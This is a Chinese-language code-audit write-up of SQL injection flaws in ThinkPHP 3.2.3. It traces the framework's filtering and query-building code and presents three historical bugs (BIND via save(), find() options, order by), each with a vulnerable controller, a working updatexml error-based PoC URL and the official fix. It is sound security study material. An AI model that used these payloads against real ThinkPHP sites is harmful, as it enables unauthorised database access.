前置
原先审过一次这个ThinkPhP3的只不过是一些反序列化的洞
又跟着审了一些sql注入的洞,说实话这里的洞不算太难,也学到了很多
我们看一下这个大概的框架
这里的Think是核心框架,上面还有一个应用目录,这个应用目录是我们可以魔改的
路由什么的都不说了,这个东西前面已经说过了,这个核心框架里面thinkphp给我们提供了一些方法
快捷函数
I方法
echo I('get.id'); // 相当于 $_GET['id']
echo I('get.name'); // 相当于 $_GET['name']
echo I('get.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串
C方法
// 读取当前的URL模式配置参数
$model = C('URL_MODEL');
M方法/D方法
用于数据模型的实例化操作,具体这两个方法怎么实现,有什么区别,暂时就不多关注了,只用知道通过这两个快捷方法能快速实例化一个数据模型对象,从而操作数据库
//实例化模型
// 相当于 $User = new \Home\Model\UserModel();
$User = D('User');
// 和用法 $User = new \Think\Model('User'); 等效
$User = M('User');
模型
TP3是基于MVC模式的架构,大多数的逻辑都是基于模型M实习的,像数据库操作和程序的逻辑
继承模型基类
namespace Home\Model;
use Think\Model;
class UserModel extends Model {
}
模型实例化
1)可以直接通过类名进行实例化
$User = new \Home\Model\UserModel();
2)我们还可以通过快捷方法进行实例化D方法和M方法
D方法用于实例化具体的模型类
<?php
//实例化模型
$User = D('User');
// 相当于 $User = new \Home\Model\UserModel();
// 执行具体的数据操作
$User->select();
M方法不会加载具体的类,而是实例化利用模型基类,只定义一个名字就能指定对应的表名
// 使用M方法实例化
$User = M('User');
// 和用法 $User = new \Think\Model('User'); 等效
// 执行其他的数据操作
$User->select();
3)实例化空模型
使用原生SQL查询的话,不需要使用额外的模型类,实例化一个空模型类即可进行操作了
//实例化空模型
$Model = new Model();
//或者使用M快捷方法是等效的
$Model = M();
//进行原生的SQL查询
$Model->query('SELECT * FROM think_user WHERE status = 1');
模型基类的数据库操作
where() 决定 where 字段的构造,参数支持字符串和数组,主要用于获取sql语句的where部分
select() 执行 select 查询,获取数据表中的多行记录
find() 执行 select 查询,读取数据表中的一行数据
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$name = I('GET.name');
$User = M("user"); // 实例化User对象
$User->where(array('name'=>$name))->select();
}
}
大概就是这么用的
安全过滤机制
I 方法的安全过滤
在我们进行传入一个参数的时候一可以用快捷函数,就是I()函数,在
这里面是functions.php,我们找到I()方法
上面是它的介绍,这里一般都会对我们传入的参数进行过滤
这里会调用这个DEFAULT_FILTER就是默认方法进行过滤
'DEFAULT_FILTER' => 'htmlspecialchars', // 默认参数过滤方法 用于I函数...
最后还会经过这个think_filter进行过滤
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
匹配到关键字符后面加一个空格
这里注意 thinkphp3.2.3 中敏感字符不包含BIND,该版本就因为这一点存在一个sql注入的风险
数据库操作的安全过滤
I方法会做一些安全过滤,很多程序会使用自己的预编译,TP3在数据库操作上也自己的安全过滤操作
示例程序
这是一个常见的外部输入where查询条件的sql操作,对TP3数据库操作有一定的普适性
在Application/Home/Controller/IndexController.class.php
class IndexController extends Controller {
public function test(){
$name = I('GET.name');
$User = M("user"); // 实例化User对象
$User->field('username,age')->where(array('username'=>$name))->select();
}
}
访问下面的链接
http://tp.test:8888/index.php/home/index/test?name=s'
最终执行的sql语句为:
SELECT `username`,`age` FROM `think_user` WHERE `username` = 's\''
下面分析一下这个sql语句的执行流程
按照链式操作的顺序,会依次执行field()、where()、select()。field()用于处理查询的字段,这里数据不可控,我们只关注where和selecct
我们先看where()
/**
* 指定查询条件 支持安全过滤
* @access public
* @param mixed $where 条件表达式
* @param mixed $parse 预处理参数
* @return Model
*/
public function where($where,$parse=null){
if(!is_null($parse) && is_string($where)) {
if(!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db,'escapeString'),$parse);
$where = vsprintf($where,$parse);
}elseif(is_object($where)){
$where = get_object_vars($where);
}
if(is_string($where) && '' != $where){
$map = array();
$map['_string'] = $where;
$where = $map;
}
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
这里的where方法是查询条件,还进行了安全过滤
如果说我们的where为字符串的话,这里就会进行过滤用这个escapeString这个方法,这里就不能用字符串的方式了,我
如果是数组的话,这里就是把字段存在options[where]里面没有进行处理,等到后续在进行处理
接下来就是这个select()方法了
这里我们传入字符串会被直接过滤,我们传入数组,然后到这个select,看看怎么处理
where()方法将where字段部分数据放到了模型对象的options数组属性中保存,select()方法将主要通过options数组组成最终的sql语句,其底层将由 ThinkPHP/Library/Think/Db/Driver.class.php
封装完成
过程比较复杂
可以看到最终的sql语句将由 buildSelectSql() 完成,其中由parseTable(),parseWhere()等若干方法完成sql语句各个set字段的组成
其中where字段由parseWhere()解析,因为前面对字符串参数已经过滤了,parseWhere()并没有在做过滤,而是对数组参数进行了过滤,处理细节位于parseWhereItem(),我们需要关注parseWhereItem()是否做到了严丝合缝
我们在看一下这个parseWhere()
在这个Driver.class.php中找到了这个方法
这里有个过滤,我们因为已经在前面进行了过滤所以这里的过滤就没有什么东西了
真正的处理在这里
这里有个这个pareValue的过滤
要想绕过这个过滤,我们看一下上面的条件
要是我们的exp的值为这几个时就不会经过parseValue()这个方法的过滤
这个exp就是val[0],我们传入的两个参数
这个key就键名,这个val就键值
如果为bind的话这里就会加上=:
如果为exp的话直接拼接
如果为in的话,这里就会进行in运算,这里不太合适
但看的话,看似是exp最合适,我们试一下
我们在这里下个断点
发送这个/index.php/home/index/test?name[0]=exp&name[1]=111'
这里面根本没有进去这个判断,仔细看一下就能发现,这里多了一个空格
是因为这里的I方法进行了过滤,把这个加上了空格
历史漏洞
update注入漏洞
在上面说过这里的三个不经过parseValue()的值,上面验证了这个exp这个值会被过滤
我们再次看一下这个I()方法这里的过滤字段
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
这里是没有这个BING的,我们可以通过这个来进行注入,但是我们前面也分析了,经过这个BlNG之后会拼接一个=:
但是有人发现了可以经过这个save()这个函数来消除这个影响
我们先来介绍一下这个函数的使用
$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['email'] = 'ThinkPHP@gmail.com';
$User->where('id=5')->save($data); // 根据条件更新记录
处了这种方式,也可以对象形式
$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$User->name = 'ThinkPHP';
$User->email = 'ThinkPHP@gmail.com';
$User->where('id=5')->save(); // 根据条件更新记录
我们先构造一个save()的场景
public function test(){
$name = I('GET.name');
$User = M("user"); // 实例化User对象
$data['jop'] = '111';
$res = $User->where(array('name'=>$name))->save($data);
var_dump($res);
}
外部方法用I()这个来接收
save()的处理逻辑
where这个方法我们上面已经分析过,这里我们只能传入数组
这个$options存储着where字段,$data存放着set字段
$data
,$options
是组成sql语句的关键,最终将交于 db->update()
实现
// ThinkPHP/Library/Think/Model.class.php
class Model {
protected $options;
public function save($data='',$options=array()) {
……
// 底层由数据库Driver类update()实现
$result = $this->db->update($data,$options);
……
return $result;
}
}
我们跟进一下这个updata这个方法
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
这里就是将这个data字段设置成set字段,这个date字段就是我们传入的的 $data['jop'] = '111'
传到这个parseSet中的时候,会把这个字段,放在bind数组中,并加上[:name] 的占位符标记
对与这个来说就是
:0 = '111'
因为这里会做预编译处理
但是我们传入的name没有在这个set字段中,还是在where
where的处理中,我们会将在这个BIND的where的后面加上这个=:,
我们往后看
最后会调用这个execute这个方法,这个方法就是
/**
* 执行语句
* @access public
* @param string $str sql指令
* @param boolean $fetchSql 不执行只是获取SQL
* @return mixed
*/
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
//释放前次的查询结果
if ( !empty($this->PDOStatement) ) $this->free();
$this->executeTimes++;
N('db_write',1); // 兼容代码
// 记录开始执行时间
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if(false === $this->PDOStatement) {
$this->error();
return false;
}
foreach ($this->bind as $key => $val) {
if(is_array($val)){
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
}else{
$this->PDOStatement->bindValue($key, $val);
}
}
$this->bind = array();
try{
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if ( false === $result) {
$this->error();
return false;
} else {
$this->numRows = $this->PDOStatement->rowCount();
if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {
$this->lastInsID = $this->_linkID->lastInsertId();
}
return $this->numRows;
}
}catch (\PDOException $e) {
$this->error();
return false;
}
}
这里面的这个str就是我们的sql语句
这里会有两个函数,一个是替换函数,一个是这个匿名函数
调用这个escapeString 函数进行过滤bind数组,这个数组里面只有set字段的值,
然后进行替换操作,将我们原先存储在set字段的值进行替换,然后就是将:0 = '111'
替换将set :0替换为111,
是对整个sql语句进行替换,这里如果说我们将where字段的第一个字段设置为0
那么这个where就是=:0
那么我们在进行替换操作的时候,这个 :0也会替换成bind数组里面的值
那我们不就消除 : 对我们的影响了
$this->queryStr
语句处理好后,再通过预编译执行该语句,可惜其中的占位标记符已经被替换了,在预处理前就已经发生了注入,漏洞产生
验证漏洞
poc如下,传入的name为数组,name[0]=bind目的是进入bind的逻辑,name[1]为payload数据,其中第一位字符要为0
/index.php/home/index/test?name[0]=bind&name[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
实际执行的sql语句
UPDATE `think_user` SET `job`='111' WHERE `username` = '111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--
官方修复
就是也把这个bind也加入黑名单
select&delete 注入漏洞
这个注入漏洞是需要开发者配合的漏洞,我们可以用这个find()方法进行一个sql注入
首先我们看一下这个find()方法
public function find($options=array()) {
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
// 判断查询缓存
if(isset($options['cache'])){
$cache = $options['cache'];
$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
$data = S($key,'',$cache);
if(false !== $data){
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
if(false === $resultSet) {
return false;
}
if(empty($resultSet)) {// 查询结果为空
return null;
}
if(is_string($resultSet)){
return $resultSet;
}
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($data,$this->options['result']);
}
$this->data = $data;
if(isset($cache)){
S($key,$data,$cache);
}
return $this->data;
}
这个find()方法可以接收外部参数options
如果这个options的类型为字符串或者是数字型的时候会进入下面的判断
这个getPk()是获得主键
这个pk的值一般默认为id
下面就是$where[$id] = $options; $options['where'] = $where;
这个只能控制where这个字段的值,利用比较苛刻
这里当这个option为数组时,且主键pk也为数组时,就会进入联合查询
这个最后的options是经过_parseOptions()函数进行处理的
这个参数就是我们options
我们跟进一下
protected function _parseOptions($options=array()) {
if(is_array($options))
$options = array_merge($this->options,$options);
if(!isset($options['table'])){
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
}else{
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}
// 数据表别名
if(!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}
这是个合并数组的操作,假如两个数组有相同的键名,那么第二个键值会覆盖第一个键值
这样我们传入[where]这个键名,这样就传到option[where]这个键名上了,这样就实现了我们的sql语句是可控的(如果我们传入find()的参数是可控的)
现在还需要考虑的是,底层代码对我们传入的sql语句会不会过滤
这里还是进行select的查询
我们看一下,根据前面的分析,这个select的查询最后处理是在parseWhere,我们跟进看一下
如果说我们的值是这个字符串的话,就没有任何处理,所以保证我们传入的是一个字符串即可
这个传入的场景构造
public function test(){
$id = I('GET.id');
$User = M("user"); // 实例化User对象
$res = $User->find($id);
}
漏洞利用
poc如下,要传入id[‘where’]数组
http://127.0.0.1/tp3.23/thinkphp3.2.3-master/index.php/home/index/test?id[where]=(1=1)%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))--+
实际上执行的sql语句
SELECT * FROM `think_user` WHERE (1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- LIMIT 1
官方修复
官方在修复上就是在 _parseOptions()
处忽略了外部传入的 $options
,这样我们传入的数据只能用于主键查询,而主键查询最终会转换为数组格式,数组格式数据在后面也会被过滤,那么这个漏洞就不存在了
order by 注入漏洞
tp3没有提供order这个函数进行查询
但是有魔术方法__call()这个函数可以帮助我们进行使用order函数
/**
* 利用__call方法实现一些特殊的Model方法
* @access public
* @param string $method 方法名称
* @param array $args 调用参数
* @return mixed
*/
public function __call($method,$args) {
if(in_array(strtolower($method),$this->methods,true)) {
// 连贯操作的实现
$this->options[strtolower($method)] = $args[0];
return $this;
}elseif(in_array(strtolower($method),array('count','sum','min','max','avg'),true)){
// 统计查询的实现
$field = isset($args[0])?$args[0]:'*';
return $this->getField(strtoupper($method).'('.$field.') AS tp_'.$method);
}elseif(strtolower(substr($method,0,5))=='getby') {
// 根据某个字段获取记录
$field = parse_name(substr($method,5));
$where[$field] = $args[0];
return $this->where($where)->find();
}elseif(strtolower(substr($method,0,10))=='getfieldby') {
// 根据某个字段获取记录的某个值
$name = parse_name(substr($method,10));
$where[$name] =$args[0];
return $this->where($where)->getField($args[1]);
}elseif(isset($this->_scope[$method])){// 命名范围的单独调用支持
return $this->scope($method,$args[0]);
}else{
E(__CLASS__.':'.$method.L('_METHOD_NOT_EXIST_'));
return;
}
}
这个我们可以触发__call函数,这里面的method就是我们调用的oreder,这里的args也是我们传入的参数
这里我们可以看一下这个parseorder函数
protected function parseOrder($order) {
if(is_array($order)) {
$array = array();
foreach ($order as $key=>$val){
if(is_numeric($key)) {
$array[] = $this->parseKey($val);
}else{
$array[] = $this->parseKey($key).' '.$val;
}
}
$order = implode(',',$array);
}
return !empty($order)? ' ORDER BY '.$order:'';
}
这里没有过滤,那就太好了,我们可以随便传入sql语句
是通过这个parseSql来调用这个函数
设置使用场景
public function test(){
$order = I('GET.order');
$User = M("user"); // 实例化User对象
$res = $User->order($order)->find();
}
漏洞利用
http://127.0.0.1/tp3.23/thinkphp3.2.3-master/index.php/home/index/test/?order=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)
实际执行sql语句
SELECT * FROM `think_user` ORDER BY updatexml(1,concat(0x7e,(select user()),0x7e),1)
系统修复
ThinkPHP3.2.4主要采用了判断输入中是否有括号的方式过滤,在ThinkPHP3.2.5中则用正则表达式过滤特殊符号。另外该在 ThinkPHP<=5.1.22 版本也存在这样的漏洞,利用方式有一些不同
总结
分析了tp3的sql注入,现在对tp框架的认识越来越深刻了,通过Xdubug调试也学到了很多